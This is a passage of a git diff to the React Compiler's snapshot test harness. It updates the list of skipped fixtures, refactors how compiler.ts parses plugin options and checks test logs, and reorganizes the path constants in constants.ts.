-  "rules-of-hooks/rules-of-hooks-cfdfe5572fc7",
-  "rules-of-hooks/rules-of-hooks-df4d750736f3",
-  "rules-of-hooks/rules-of-hooks-dfde14171fcd",
-  "rules-of-hooks/rules-of-hooks-e5dd6caf4084",
-  "rules-of-hooks/rules-of-hooks-e66a744cffbe",
-  "rules-of-hooks/rules-of-hooks-eacfcaa6ef89",
-  "rules-of-hooks/rules-of-hooks-fe6042f7628b",
-  "infer-function-assignment",
-  "infer-functions-component-with-jsx",
-  "infer-function-forwardRef",
-  "infer-function-React-memo",
-  "infer-functions-component-with-hook-call",
-  "infer-functions-component-with-jsx",
-  "infer-functions-hook-with-hook-call",
-  "infer-functions-hook-with-jsx",
-  "infer-function-expression-component",
-  "infer-function-expression-React-memo-gating",
-  "infer-skip-components-without-hooks-or-jsx",
-  "class-component-with-render-helper",
-  "fbt/fbtparam-with-jsx-element-content",
-  "fbt/fbtparam-text-must-use-expression-container",
-  "fbt/fbtparam-with-jsx-fragment-value",
-  "fbt/fbt-preserve-jsxtext",
-  "todo.useContext-mutate-context-in-callback",
-  "loop-unused-let",
-  "reanimated-no-memo-arg",
+  'rules-of-hooks/rules-of-hooks-0592bd574811',
+  'rules-of-hooks/rules-of-hooks-0e2214abc294',
+  'rules-of-hooks/rules-of-hooks-1ff6c3fbbc94',
+  'rules-of-hooks/rules-of-hooks-23dc7fffde57',
+  'rules-of-hooks/rules-of-hooks-2bec02ac982b',
+  'rules-of-hooks/rules-of-hooks-2e405c78cb80',
+  'rules-of-hooks/rules-of-hooks-33a6e23edac1',
+  'rules-of-hooks/rules-of-hooks-347b0dae66f1',
+  'rules-of-hooks/rules-of-hooks-485bf041f55f',
+  'rules-of-hooks/rules-of-hooks-4f6c78a14bf7',
+  'rules-of-hooks/rules-of-hooks-7e52f5eec669',
+  'rules-of-hooks/rules-of-hooks-844a496db20b',
+  'rules-of-hooks/rules-of-hooks-8f1c2c3f71c9',
+  'rules-of-hooks/rules-of-hooks-9a47e97b5d13',
+  'rules-of-hooks/rules-of-hooks-9d7879272ff6',
+  'rules-of-hooks/rules-of-hooks-c1e8c7f4c191',
+  'rules-of-hooks/rules-of-hooks-c5d1f3143c4c',
+  'rules-of-hooks/rules-of-hooks-cfdfe5572fc7',
+  'rules-of-hooks/rules-of-hooks-df4d750736f3',
+  'rules-of-hooks/rules-of-hooks-dfde14171fcd',
+  'rules-of-hooks/rules-of-hooks-e5dd6caf4084',
+  'rules-of-hooks/rules-of-hooks-e66a744cffbe',
+  'rules-of-hooks/rules-of-hooks-eacfcaa6ef89',
+  'rules-of-hooks/rules-of-hooks-fe6042f7628b',
+  'infer-function-assignment',
+  'infer-functions-component-with-jsx',
+  'infer-function-forwardRef',
+  'infer-function-React-memo',
+  'infer-functions-component-with-hook-call',
+  'infer-functions-component-with-jsx',
+  'infer-functions-hook-with-hook-call',
+  'infer-functions-hook-with-jsx',
+  'infer-function-expression-component',
+  'infer-skip-components-without-hooks-or-jsx',
+  'class-component-with-render-helper',
+  'fbt/fbtparam-with-jsx-element-content',
+  'fbt/fbtparam-text-must-use-expression-container',
+  'fbt/fbtparam-with-jsx-fragment-value',
+  'todo.useContext-mutate-context-in-callback',
+  'loop-unused-let',
+  'reanimated-no-memo-arg',
+  'reanimated-shared-value-writes',
 
-  // Tested e2e in forget-feedback repo
-  "userspace-use-memo-cache",
-  "transitive-freeze-function-expressions",
+  'userspace-use-memo-cache',
+  'transitive-freeze-function-expressions',
 
   // nothing to compile/run
-  "repro-no-gating-import-without-compiled-functions",
+  'gating/repro-no-gating-import-without-compiled-functions',
 
   // TODOs
-  "rules-of-hooks/todo.bail.rules-of-hooks-279ac76f53af",
-  "rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c",
-  "rules-of-hooks/todo.bail.rules-of-hooks-3d692676194b",
-  "rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb",
-  "rules-of-hooks/todo.bail.rules-of-hooks-8503ca76d6f8",
-  "rules-of-hooks/todo.bail.rules-of-hooks-e0a5db3ae21e",
-  "rules-of-hooks/todo.bail.rules-of-hooks-e9f9bac89f8f",
-  "rules-of-hooks/todo.bail.rules-of-hooks-fadd52c1e460",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-0a1dbff27ba0",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-0de1224ce64b",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-449a37146a83",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-5a7ac9a6e8fa",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-76a74b4666e9",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-a63fd4f9dcc0",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-c59788ef5676",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-d842d36db450",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-d952b82c2597",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e675f0a672d8",
-  "rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3",
-  "todo.unnecessary-lambda-memoization",
-  "rules-of-hooks/rules-of-hooks-93dc5d5e538a",
-  "rules-of-hooks/rules-of-hooks-69521d94fa03",
+  'rules-of-hooks/todo.bail.rules-of-hooks-279ac76f53af',
+  'rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c',
+  'rules-of-hooks/todo.bail.rules-of-hooks-3d692676194b',
+  'rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb',
+  'rules-of-hooks/todo.bail.rules-of-hooks-8503ca76d6f8',
+  'rules-of-hooks/todo.bail.rules-of-hooks-e0a5db3ae21e',
+  'rules-of-hooks/todo.bail.rules-of-hooks-e9f9bac89f8f',
+  'rules-of-hooks/todo.bail.rules-of-hooks-fadd52c1e460',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-0a1dbff27ba0',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-0de1224ce64b',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-449a37146a83',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-5a7ac9a6e8fa',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-76a74b4666e9',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-a63fd4f9dcc0',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-c59788ef5676',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-d842d36db450',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-d952b82c2597',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e675f0a672d8',
+  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3',
+  'todo.unnecessary-lambda-memoization',
+  'rules-of-hooks/rules-of-hooks-93dc5d5e538a',
+  'rules-of-hooks/rules-of-hooks-69521d94fa03',
+
+  // false positives
+  'invalid-jsx-lowercase-localvar',
 
   // bugs
-  "bug-invalid-hoisting-functionexpr",
-  "original-reactive-scopes-fork/bug-nonmutating-capture-in-unsplittable-memo-block",
-  "original-reactive-scopes-fork/bug-hoisted-declaration-with-scope",
+  'inner-function/nullable-objects/bug-invalid-array-map-manual',
+  'bug-object-expression-computed-key-modified-during-after-construction-hoisted-sequence-expr',
+  `bug-capturing-func-maybealias-captured-mutate`,
+  'bug-aliased-capture-aliased-mutate',
+  'bug-aliased-capture-mutate',
+  'bug-functiondecl-hoisting',
+  'bug-type-inference-control-flow',
+  'fbt/bug-fbt-plural-multiple-function-calls',
+  'fbt/bug-fbt-plural-multiple-mixed-call-tag',
+  'bug-invalid-phi-as-dependency',
+  'bug-ref-prefix-postfix-operator',
 
   // 'react-compiler-runtime' not yet supported
-  "flag-enable-emit-hook-guards",
+  'flag-enable-emit-hook-guards',
+  'fast-refresh-refresh-on-const-changes-dev',
+  'useState-pruned-dependency-change-detect',
+  'useState-unpruned-dependency',
+  'useState-and-other-hook-unpruned-dependency',
+  'change-detect-reassign',
 
-  "fast-refresh-refresh-on-const-changes-dev",
-  "useState-pruned-dependency-change-detect",
-  "useState-unpruned-dependency",
-  "useState-and-other-hook-unpruned-dependency",
-  "change-detect-reassign",
+  // Depends on external functions
+  'idx-method-no-outlining-wildcard',
+  'idx-method-no-outlining',
+  'target-flag-meta-internal',
 
   // needs to be executed as a module
-  "meta-property",
+  'meta-property',
+
+  // needs context lowering support in React
+  'todo.lower-context-access-property-load',
+  'todo.lower-context-access-nested-destructuring',
+  'todo.lower-context-access-mixed-array-obj',
+  'todo.lower-context-access-destructure-multiple',
+  'todo.lower-context-access-array-destructuring',
+  'lower-context-selector-simple',
+  'lower-context-acess-multiple',
+  'bug-separate-memoization-due-to-callback-capturing',
+
+  // SSR optimization rewrites files in a way that causes differences or warnings
+  'ssr/optimize-ssr',
+  'ssr/ssr-use-reducer',
+  'ssr/ssr-use-reducer-initializer',
+  'ssr/infer-event-handlers-from-setState',
+  'ssr/infer-event-handlers-from-startTransition',
 ]);
 
 export default skipFilter;
diff --git a/compiler/packages/snap/src/compiler.ts b/compiler/packages/snap/src/compiler.ts
index 0848d51aec6b..0ee2ee0945b0 100644
--- a/compiler/packages/snap/src/compiler.ts
+++ b/compiler/packages/snap/src/compiler.ts
@@ -5,258 +5,143 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type * as BabelCore from "@babel/core";
-import { transformFromAstSync } from "@babel/core";
+import type * as BabelCore from '@babel/core';
+import {transformFromAstSync} from '@babel/core';
 
-import * as BabelParser from "@babel/parser";
-import { NodePath } from "@babel/traverse";
-import * as t from "@babel/types";
-import assert from "assert";
+import * as BabelParser from '@babel/parser';
+import {NodePath} from '@babel/traverse';
+import * as t from '@babel/types';
 import type {
-  CompilationMode,
   Logger,
   LoggerEvent,
-  PanicThresholdOptions,
   PluginOptions,
-} from "babel-plugin-react-compiler/src/Entrypoint";
-import type { Effect, ValueKind } from "babel-plugin-react-compiler/src/HIR";
-import type { parseConfigPragma as ParseConfigPragma } from "babel-plugin-react-compiler/src/HIR/Environment";
-import * as HermesParser from "hermes-parser";
-import invariant from "invariant";
-import path from "path";
-import prettier from "prettier";
-import SproutTodoFilter from "./SproutTodoFilter";
-import { isExpectError } from "./fixture-utils";
-export function parseLanguage(source: string): "flow" | "typescript" {
-  return source.indexOf("@flow") !== -1 ? "flow" : "typescript";
+  CompilerReactTarget,
+  CompilerPipelineValue,
+} from 'babel-plugin-react-compiler/src/Entrypoint';
+import type {
+  Effect,
+  ValueKind,
+  ValueReason,
+} from 'babel-plugin-react-compiler/src/HIR';
+import type {parseConfigPragmaForTests as ParseConfigPragma} from 'babel-plugin-react-compiler/src/Utils/TestUtils';
+import * as HermesParser from 'hermes-parser';
+import invariant from 'invariant';
+import path from 'path';
+import prettier from 'prettier';
+import SproutTodoFilter from './SproutTodoFilter';
+import {isExpectError} from './fixture-utils';
+import {makeSharedRuntimeTypeProvider} from './sprout/shared-runtime-type-provider';
+
+export function parseLanguage(source: string): 'flow' | 'typescript' {
+  return source.indexOf('@flow') !== -1 ? 'flow' : 'typescript';
+}
+
+export function parseSourceType(source: string): 'script' | 'module' {
+  return source.indexOf('@script') !== -1 ? 'script' : 'module';
 }
 
+/**
+ * Parse react compiler plugin + environment options from test fixture. Note
+ * that although this primarily uses `Environment:parseConfigPragma`, it also
+ * has test fixture specific (i.e. not applicable to playground) parsing logic.
+ */
 function makePluginOptions(
   firstLine: string,
-  parseConfigPragmaFn: typeof ParseConfigPragma
-): [PluginOptions, Array<{ filename: string | null; event: LoggerEvent }>] {
-  let gating = null;
-  let enableEmitInstrumentForget = null;
-  let enableEmitFreeze = null;
-  let enableEmitHookGuards = null;
-  let compilationMode: CompilationMode = "all";
-  let runtimeModule = null;
-  let panicThreshold: PanicThresholdOptions = "all_errors";
-  let hookPattern: string | null = null;
+  parseConfigPragmaFn: typeof ParseConfigPragma,
+  debugIRLogger: (value: CompilerPipelineValue) => void,
+  EffectEnum: typeof Effect,
+  ValueKindEnum: typeof ValueKind,
+  ValueReasonEnum: typeof ValueReason,
+): {
+  options: PluginOptions;
+  loggerTestOnly: boolean;
+  logs: Array<{filename: string | null; event: LoggerEvent}>;
+} {
   // TODO(@mofeiZ) rewrite snap fixtures to @validatePreserveExistingMemo:false
   let validatePreserveExistingMemoizationGuarantees = false;
-  let enableChangeDetectionForDebugging = null;
-  let customMacros = null;
-
-  if (firstLine.indexOf("@compilationMode(annotation)") !== -1) {
-    assert(
-      compilationMode === "all",
-      "Cannot set @compilationMode(..) more than once"
-    );
-    compilationMode = "annotation";
-  }
-  if (firstLine.indexOf("@compilationMode(infer)") !== -1) {
-    assert(
-      compilationMode === "all",
-      "Cannot set @compilationMode(..) more than once"
-    );
-    compilationMode = "infer";
-  }
+  let target: CompilerReactTarget = '19';
 
-  if (firstLine.includes("@gating")) {
-    gating = {
-      source: "ReactForgetFeatureFlag",
-      importSpecifierName: "isForgetEnabled_Fixtures",
-    };
-  }
-  if (firstLine.includes("@instrumentForget")) {
-    enableEmitInstrumentForget = {
-      fn: {
-        source: "react-compiler-runtime",
-        importSpecifierName: "useRenderCounter",
-      },
-      gating: {
-        source: "react-compiler-runtime",
-        importSpecifierName: "shouldInstrument",
-      },
-      globalGating: "__DEV__",
-    };
-  }
-  if (firstLine.includes("@enableEmitFreeze")) {
-    enableEmitFreeze = {
-      source: "react-compiler-runtime",
-      importSpecifierName: "makeReadOnly",
-    };
-  }
-  if (firstLine.includes("@enableEmitHookGuards")) {
-    enableEmitHookGuards = {
-      source: "react-compiler-runtime",
-      importSpecifierName: "$dispatcherGuard",
-    };
-  }
-  const runtimeModuleMatch = /@runtimeModule="([^"]+)"/.exec(firstLine);
-  if (runtimeModuleMatch) {
-    runtimeModule = runtimeModuleMatch[1];
-  }
-  if (firstLine.includes("@panicThreshold(none)")) {
-    panicThreshold = "none";
-  }
-
-  let eslintSuppressionRules: Array<string> | null = null;
-  const eslintSuppressionMatch = /@eslintSuppressionRules\(([^)]+)\)/.exec(
-    firstLine
-  );
-  if (eslintSuppressionMatch != null) {
-    eslintSuppressionRules = eslintSuppressionMatch[1].split("|");
-  }
-
-  let flowSuppressions: boolean = false;
-  if (firstLine.includes("@enableFlowSuppressions")) {
-    flowSuppressions = true;
-  }
-
-  let ignoreUseNoForget: boolean = false;
-  if (firstLine.includes("@ignoreUseNoForget")) {
-    ignoreUseNoForget = true;
-  }
-
-  if (firstLine.includes("@validatePreserveExistingMemoizationGuarantees")) {
+  /**
+   * Snap currently runs all fixtures without `validatePreserveExistingMemo` as
+   * most fixtures are interested in compilation output, not whether the
+   * compiler was able to preserve existing memo.
+   *
+   * TODO: flip the default. `useMemo` is rare in test fixtures -- fixtures that
+   * use useMemo should be explicit about whether this flag is enabled
+   */
+  if (firstLine.includes('@validatePreserveExistingMemoizationGuarantees')) {
     validatePreserveExistingMemoizationGuarantees = true;
   }
 
-  if (firstLine.includes("@enableChangeDetectionForDebugging")) {
-    enableChangeDetectionForDebugging = {
-      source: "react-compiler-runtime",
-      importSpecifierName: "$structuralCheck",
-    };
-  }
-  const hookPatternMatch = /@hookPattern:"([^"]+)"/.exec(firstLine);
-  if (
-    hookPatternMatch &&
-    hookPatternMatch.length > 1 &&
-    hookPatternMatch[1].trim().length > 0
-  ) {
-    hookPattern = hookPatternMatch[1].trim();
-  } else if (firstLine.includes("@hookPattern")) {
-    throw new Error(
-      'Invalid @hookPattern:"..." pragma, must contain the prefix between balanced double quotes eg @hookPattern:"pattern"'
-    );
-  }
-
-  const customMacrosMatch = /@customMacros\(([^)]+)\)/.exec(firstLine);
-  if (
-    customMacrosMatch &&
-    customMacrosMatch.length > 1 &&
-    customMacrosMatch[1].trim().length > 0
-  ) {
-    customMacros = customMacrosMatch[1]
-      .split(" ")
-      .map((s) => s.trim())
-      .filter((s) => s.length > 0);
-  }
-
-  let logs: Array<{ filename: string | null; event: LoggerEvent }> = [];
-  let logger: Logger | null = null;
-  if (firstLine.includes("@logger")) {
-    logger = {
-      logEvent(filename: string | null, event: LoggerEvent): void {
-        logs.push({ filename, event });
-      },
-    };
-  }
+  const loggerTestOnly = firstLine.includes('@loggerTestOnly');
+  const logs: Array<{filename: string | null; event: LoggerEvent}> = [];
+  const logger: Logger = {
+    logEvent: (filename, event) => {
+      logs.push({filename, event});
+    },
+    debugLogIRs: debugIRLogger,
+  };
 
-  const config = parseConfigPragmaFn(firstLine);
+  const config = parseConfigPragmaFn(firstLine, {compilationMode: 'all'});
   const options = {
+    ...config,
     environment: {
-      ...config,
-      customHooks: new Map([
-        [
-          "useFreeze",
-          {
-            valueKind: "frozen" as ValueKind,
-            effectKind: "freeze" as Effect,
-            transitiveMixedData: false,
-            noAlias: false,
-          },
-        ],
-        [
-          "useFragment",
-          {
-            valueKind: "frozen" as ValueKind,
-            effectKind: "freeze" as Effect,
-            transitiveMixedData: true,
-            noAlias: true,
-          },
-        ],
-        [
-          "useNoAlias",
-          {
-            valueKind: "mutable" as ValueKind,
-            effectKind: "read" as Effect,
-            transitiveMixedData: false,
-            noAlias: true,
-          },
-        ],
-      ]),
-      customMacros,
-      enableEmitFreeze,
-      enableEmitInstrumentForget,
-      enableEmitHookGuards,
+      ...config.environment,
+      moduleTypeProvider: makeSharedRuntimeTypeProvider({
+        EffectEnum,
+        ValueKindEnum,
+        ValueReasonEnum,
+      }),
       assertValidMutableRanges: true,
-      enableSharedRuntime__testonly: true,
-      hookPattern,
       validatePreserveExistingMemoizationGuarantees,
-      enableChangeDetectionForDebugging,
     },
-    compilationMode,
     logger,
-    gating,
-    panicThreshold,
-    noEmit: false,
-    runtimeModule,
-    eslintSuppressionRules,
-    flowSuppressions,
-    ignoreUseNoForget,
     enableReanimatedCheck: false,
+    target,
   };
-  return [options, logs];
+  return {options, loggerTestOnly, logs};
 }
 
 export function parseInput(
   input: string,
   filename: string,
-  language: "flow" | "typescript"
+  language: 'flow' | 'typescript',
+  sourceType: 'module' | 'script',
 ): BabelCore.types.File {
   // Extract the first line to quickly check for custom test directives
-  if (language === "flow") {
+  if (language === 'flow') {
     return HermesParser.parse(input, {
       babel: true,
-      flow: "all",
+      flow: 'all',
       sourceFilename: filename,
-      sourceType: "module",
+      sourceType,
       enableExperimentalComponentSyntax: true,
     });
   } else {
     return BabelParser.parse(input, {
       sourceFilename: filename,
-      plugins: ["typescript", "jsx"],
-      sourceType: "module",
+      plugins: ['typescript', 'jsx'],
+      sourceType,
     });
   }
 }
 
 function getEvaluatorPresets(
-  language: "typescript" | "flow"
+  language: 'typescript' | 'flow',
 ): Array<BabelCore.PluginItem> {
   const presets: Array<BabelCore.PluginItem> = [
     {
-      plugins: ["babel-plugin-fbt", "babel-plugin-fbt-runtime"],
+      plugins: [
+        'babel-plugin-fbt',
+        'babel-plugin-fbt-runtime',
+        'babel-plugin-idx',
+      ],
     },
   ];
   presets.push(
-    language === "typescript"
+    language === 'typescript'
       ? [
-          "@babel/preset-typescript",
+          '@babel/preset-typescript',
           {
             /**
              * onlyRemoveTypeImports needs to be set as fbt imports
@@ -268,16 +153,16 @@ function getEvaluatorPresets(
             onlyRemoveTypeImports: true,
           },
         ]
-      : "@babel/preset-flow"
+      : '@babel/preset-flow',
   );
 
   presets.push({
-    plugins: ["@babel/plugin-syntax-jsx"],
+    plugins: ['@babel/plugin-syntax-jsx'],
   });
   presets.push(
-    ["@babel/preset-react", { throwIfNamespace: false }],
+    ['@babel/preset-react', {throwIfNamespace: false}],
     {
-      plugins: ["@babel/plugin-transform-modules-commonjs"],
+      plugins: ['@babel/plugin-transform-modules-commonjs'],
     },
     {
       plugins: [
@@ -285,16 +170,18 @@ function getEvaluatorPresets(
           return {
             visitor: {
               CallExpression(path: NodePath<t.CallExpression>) {
-                const { callee } = path.node;
-                if (callee.type === "Identifier" && callee.name === "require") {
+                const {callee} = path.node;
+                if (callee.type === 'Identifier' && callee.name === 'require') {
                   const arg = path.node.arguments[0];
-                  if (arg.type === "StringLiteral") {
+                  if (arg.type === 'StringLiteral') {
                     // rewrite to use relative import as eval happens in
                     // sprout/evaluator.ts
-                    if (arg.value === "shared-runtime") {
-                      arg.value = "./shared-runtime";
-                    } else if (arg.value === "ReactForgetFeatureFlag") {
-                      arg.value = "./ReactForgetFeatureFlag";
+                    if (arg.value === 'shared-runtime') {
+                      arg.value = './shared-runtime';
+                    } else if (arg.value === 'ReactForgetFeatureFlag') {
+                      arg.value = './ReactForgetFeatureFlag';
+                    } else if (arg.value === 'useEffectWrapper') {
+                      arg.value = './useEffectWrapper';
                     }
                   }
                 }
@@ -303,21 +190,21 @@ function getEvaluatorPresets(
           };
         },
       ],
-    }
+    },
   );
   return presets;
 }
 async function format(
   inputCode: string,
-  language: "typescript" | "flow"
+  language: 'typescript' | 'flow',
 ): Promise<string> {
   return await prettier.format(inputCode, {
     semi: true,
-    parser: language === "typescript" ? "babel-ts" : "flow",
+    parser: language === 'typescript' ? 'babel-ts' : 'flow',
   });
 }
-const TypescriptEvaluatorPresets = getEvaluatorPresets("typescript");
-const FlowEvaluatorPresets = getEvaluatorPresets("flow");
+const TypescriptEvaluatorPresets = getEvaluatorPresets('typescript');
+const FlowEvaluatorPresets = getEvaluatorPresets('flow');
 
 export type TransformResult = {
   forgetOutput: string;
@@ -333,42 +220,54 @@ export async function transformFixtureInput(
   fixturePath: string,
   parseConfigPragmaFn: typeof ParseConfigPragma,
   plugin: BabelCore.PluginObj,
-  includeEvaluator: boolean
-): Promise<
-  { kind: "ok"; value: TransformResult } | { kind: "err"; msg: string }
-> {
+  includeEvaluator: boolean,
+  debugIRLogger: (value: CompilerPipelineValue) => void,
+  EffectEnum: typeof Effect,
+  ValueKindEnum: typeof ValueKind,
+  ValueReasonEnum: typeof ValueReason,
+): Promise<{kind: 'ok'; value: TransformResult} | {kind: 'err'; msg: string}> {
   // Extract the first line to quickly check for custom test directives
-  const firstLine = input.substring(0, input.indexOf("\n"));
+  const firstLine = input.substring(0, input.indexOf('\n'));
 
   const language = parseLanguage(firstLine);
+  const sourceType = parseSourceType(firstLine);
   // Preserve file extension as it determines typescript's babel transform
   // mode (e.g. stripping types, parsing rules for brackets)
   const filename =
-    path.basename(fixturePath) + (language === "typescript" ? ".ts" : "");
-  const inputAst = parseInput(input, filename, language);
+    path.basename(fixturePath) + (language === 'typescript' ? '.ts' : '');
+  const inputAst = parseInput(input, filename, language, sourceType);
   // Give babel transforms an absolute path as relative paths get prefixed
   // with `cwd`, which is different across machines
-  const virtualFilepath = "/" + filename;
+  const virtualFilepath = '/' + filename;
 
   const presets =
-    language === "typescript"
+    language === 'typescript'
       ? TypescriptEvaluatorPresets
       : FlowEvaluatorPresets;
 
   /**
    * Get Forget compiled code
    */
-  const [options, logs] = makePluginOptions(firstLine, parseConfigPragmaFn);
+  const {options, loggerTestOnly, logs} = makePluginOptions(
+    firstLine,
+    parseConfigPragmaFn,
+    debugIRLogger,
+    EffectEnum,
+    ValueKindEnum,
+    ValueReasonEnum,
+  );
   const forgetResult = transformFromAstSync(inputAst, input, {
     filename: virtualFilepath,
     highlightCode: false,
     retainLines: true,
+    compact: true,
     plugins: [
       [plugin, options],
-      "babel-plugin-fbt",
-      "babel-plugin-fbt-runtime",
+      'babel-plugin-fbt',
+      'babel-plugin-fbt-runtime',
+      'babel-plugin-idx',
     ],
-    sourceType: "module",
+    sourceType: 'module',
     ast: includeEvaluator,
     cloneInputAst: includeEvaluator,
     configFile: false,
@@ -376,7 +275,7 @@ export async function transformFixtureInput(
   });
   invariant(
     forgetResult?.code != null,
-    "Expected BabelPluginReactForget to codegen successfully."
+    'Expected BabelPluginReactForget to codegen successfully.',
   );
   const forgetCode = forgetResult.code;
   let evaluatorCode = null;
@@ -390,7 +289,7 @@ export async function transformFixtureInput(
     try {
       invariant(
         forgetResult?.ast != null,
-        "Expected BabelPluginReactForget ast."
+        'Expected BabelPluginReactForget ast.',
       );
       const result = transformFromAstSync(forgetResult.ast, forgetCode, {
         presets,
@@ -400,16 +299,16 @@ export async function transformFixtureInput(
       });
       if (result?.code == null) {
         return {
-          kind: "err",
-          msg: "Unexpected error in forget transform pipeline - no code emitted",
+          kind: 'err',
+          msg: 'Unexpected error in forget transform pipeline - no code emitted',
         };
       } else {
         forgetEval = result.code;
       }
     } catch (e) {
       return {
-        kind: "err",
-        msg: "Unexpected error in Forget transform pipeline: " + e.message,
+        kind: 'err',
+        msg: 'Unexpected error in Forget transform pipeline: ' + e.message,
       };
     }
 
@@ -427,16 +326,16 @@ export async function transformFixtureInput(
 
       if (result?.code == null) {
         return {
-          kind: "err",
-          msg: "Unexpected error in non-forget transform pipeline - no code emitted",
+          kind: 'err',
+          msg: 'Unexpected error in non-forget transform pipeline - no code emitted',
         };
       } else {
         originalEval = result.code;
       }
     } catch (e) {
       return {
-        kind: "err",
-        msg: "Unexpected error in non-forget transform pipeline: " + e.message,
+        kind: 'err',
+        msg: 'Unexpected error in non-forget transform pipeline: ' + e.message,
       };
     }
     evaluatorCode = {
@@ -446,15 +345,52 @@ export async function transformFixtureInput(
   }
   const forgetOutput = await format(forgetCode, language);
   let formattedLogs = null;
-  if (logs.length !== 0) {
+  if (loggerTestOnly && logs.length !== 0) {
     formattedLogs = logs
-      .map(({ event }) => {
-        return JSON.stringify(event);
+      .map(({event}) => {
+        return JSON.stringify(event, (key, value) => {
+          if (
+            key === 'detail' &&
+            value != null &&
+            typeof value.serialize === 'function'
+          ) {
+            return value.serialize();
+          }
+          return value;
+        });
       })
-      .join("\n");
+      .join('\n');
+  }
+  const expectNothingCompiled =
+    firstLine.indexOf('@expectNothingCompiled') !== -1;
+  const successFailures = logs.filter(
+    log =>
+      log.event.kind === 'CompileSuccess' || log.event.kind === 'CompileError',
+  );
+  if (successFailures.length === 0 && !expectNothingCompiled) {
+    return {
+      kind: 'err',
+      msg: 'No success/failure events, add `// @expectNothingCompiled` to the first line if this is expected',
+    };
+  } else if (successFailures.length !== 0 && expectNothingCompiled) {
+    return {
+      kind: 'err',
+      msg: 'Expected nothing to be compiled (from `// @expectNothingCompiled`), but some functions compiled or errored',
+    };
+  }
+  const unexpectedThrows = logs.filter(
+    log => log.event.kind === 'CompileUnexpectedThrow',
+  );
+  if (unexpectedThrows.length > 0) {
+    return {
+      kind: 'err',
+      msg:
+        `Compiler pass(es) threw instead of recording errors:\n` +
+        unexpectedThrows.map(l => (l.event as any).data).join('\n'),
+    };
   }
   return {
-    kind: "ok",
+    kind: 'ok',
     value: {
       forgetOutput,
       logs: formattedLogs,
diff --git a/compiler/packages/snap/src/constants.ts b/compiler/packages/snap/src/constants.ts
index 4d40b53ec3d5..788a2a6865da 100644
--- a/compiler/packages/snap/src/constants.ts
+++ b/compiler/packages/snap/src/constants.ts
@@ -5,37 +5,26 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import path from "path";
+import path from 'path';
+
+export const PROJECT_ROOT = path.join(process.cwd(), '..', '..');
 
 // We assume this is run from `babel-plugin-react-compiler`
-export const PROJECT_ROOT = path.normalize(
-  path.join(process.cwd(), "..", "..")
-);
-export const COMPILER_PATH = path.join(
-  process.cwd(),
-  "dist",
-  "Babel",
-  "BabelPlugin.js"
+export const BABEL_PLUGIN_ROOT = path.normalize(
+  path.join(PROJECT_ROOT, 'packages', 'babel-plugin-react-compiler'),
 );
-export const LOGGER_PATH = path.join(
-  process.cwd(),
-  "dist",
-  "Utils",
-  "logger.js"
-);
-export const PARSE_CONFIG_PRAGMA_PATH = path.join(
-  process.cwd(),
-  "dist",
-  "HIR",
-  "Environment.js"
+
+export const BABEL_PLUGIN_SRC = path.normalize(
+  path.join(BABEL_PLUGIN_ROOT, 'dist', 'index.js'),
 );
+export const PRINT_HIR_IMPORT = 'printFunctionWithOutlined';
+export const PRINT_REACTIVE_IR_IMPORT = 'printReactiveFunction';
+export const PARSE_CONFIG_PRAGMA_IMPORT = 'parseConfigPragmaForTests';
 export const FIXTURES_PATH = path.join(
-  process.cwd(),
-  "src",
-  "__tests__",
-  "fixtures",
-  "compiler"
+  BABEL_PLUGIN_ROOT,
+  'src',
+  '__tests__',
+  'fixtures',
+  'compiler',
 );
